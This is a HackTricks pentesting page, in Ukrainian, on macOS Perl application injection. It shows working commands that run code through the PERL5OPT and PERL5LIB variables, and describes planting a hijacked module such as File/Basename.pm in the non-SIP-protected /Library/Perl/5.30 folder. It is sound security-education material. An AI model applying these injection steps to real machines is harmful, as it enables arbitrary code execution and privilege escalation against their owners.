macOS Perl Applications Injection
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Через змінні середовища PERL5OPT
та PERL5LIB
Використовуючи змінну середовища PERL5OPT, можна змусити perl виконувати довільні команди.
Наприклад, створіть цей скрипт:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Тепер експортуйте змінну середовища та виконайте perl скрипт:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Інший варіант - створити модуль Perl (наприклад, /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
А потім використовуйте змінні середовища:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Через залежності
Можливо перерахувати порядок папок залежностей, що виконує Perl:
perl -e 'print join("\n", @INC)'
Що поверне щось на зразок:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Деякі з повернених папок навіть не існують, однак, /Library/Perl/5.30
існує, вона не захищена SIP і знаходиться перед папками, захищеними SIP. Тому хтось міг би зловживати цією папкою, щоб додати залежності скриптів, щоб скрипт Perl з високими привілеями міг його завантажити.
warning
Однак зверніть увагу, що вам потрібно бути root, щоб записувати в цю папку і в наш час ви отримаєте цей TCC prompt:
.png)
Наприклад, якщо скрипт імпортує use File::Basename;
, буде можливим створити /Library/Perl/5.30/File/Basename.pm
, щоб виконати довільний код.
References
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.